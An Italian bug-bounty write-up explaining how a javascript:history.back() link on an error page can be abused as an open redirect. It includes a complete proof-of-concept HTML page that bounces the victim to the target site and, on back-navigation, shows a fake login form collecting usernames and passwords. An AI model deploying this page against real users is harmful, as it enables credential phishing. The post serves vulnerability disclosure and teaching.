Abuso di Javascript:history.back() come reindirizzamento aperto
Ciao Hacker,
Oggi vi parlerò di un bug interessante, è un bug di bassa gravità ma penso che imparerete da questo, quindi cominciamo.
Hai mai fatto clic sul pulsante "indietro" sul tuo browser, solo per essere reindirizzato a una pagina dannosa?
Questa è una tattica comune utilizzata dagli aggressori per sfruttare una vulnerabilità con la javascript:history.back()funzione. La javascript:history.back()funzione è una funzione utile nelle applicazioni Web che consente agli utenti di tornare a una pagina precedente. Tuttavia, può anche essere utilizzato dagli aggressori per reindirizzare gli utenti a una pagina dannosa manipolando la cronologia del browser.
Stavo cercando un programma RDP, ho trovato un URL che dava un errore non trovato con un link di ritorno e quella pagina ha una javascript:history.back()funzione.
poi mi rendo subito conto che possiamo sfruttarlo per aprire la vulnerabilità del reindirizzamento.
Ecco la prova del concetto di come l'ho fatto.
Prima di tutto, ho ospitato una pagina HTML sul mio computer locale.
La pagina ha il seguente codice.
<html>
<head>
<title>THIS IS THE EVIL PAGE, your account is Please </title></head>
<body>
<div id="forward">
<a href="https://link-of-the-vulnerable-page.com/locale/redirect?locale=en">GO BACK PAGE</a>
</div>
<div id="phish">
<h1> WELOCME TO ATTACKERS PAGE </h1>
</div>
<div>
<h1>PLEASE LOGIN HERE </h1>
<form action="process_login.php" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username"><br><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="Login">
</form>
</div>
<script>
function hide(id) {
document.getElementById(id).style.display = 'none';
}
function show(id) {
document.getElementById(id).style.display = '';
}
window.addEventListener("pageshow", function () {
if (performance.navigation.type === performance.navigation.TYPE_BACK_FORWARD) {
hide("forward");
show("phish");
} else {
hide("phish");
show("forward");
document.querySelector("#forward a").click();
}
});
</script>
</body>
</html>
https://redacted.com/locale/redirect?locale=it
e l'utente riceverà il seguente errore con un collegamento per tornare indietro.
l'utente penserà che si è verificato un errore e farà clic sul collegamento indietro , ma in questo caso, poiché l'utente è già reindirizzato dalla pagina dannosa. La funzione non convaliderà se la pagina precedente proveniva o meno dallo stesso dominio, per questo motivo porterà l'utente alla pagina dell'attaccante malintenzionato.
Usando questo un utente malintenzionato può rubare informazioni sensibili come password e altri dettagli personali.
È un bug di media gravità uguale a una vulnerabilità di reindirizzamento aperto. L'ho segnalato al sito Web ma il loro programma è sospeso, ma si tratta comunque di un bug basso che puoi trovare facilmente su qualsiasi sito Web e segnalarlo.
Se vuoi posso darti un POC completo di questo bug, puoi scrivermi su Twitter o Instagram.
Buon viaggio di caccia, arrivederci
Ajay Jachak :)
Seguimi su !
Twitter-https://twitter.com/Ajay_jachak24
LinkedIn-https://www.linkedin.com/in/ajay-jachak-990964212/
Instagram-https://www.instagram.com/ajax.pvt/

![Che cos'è un elenco collegato, comunque? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































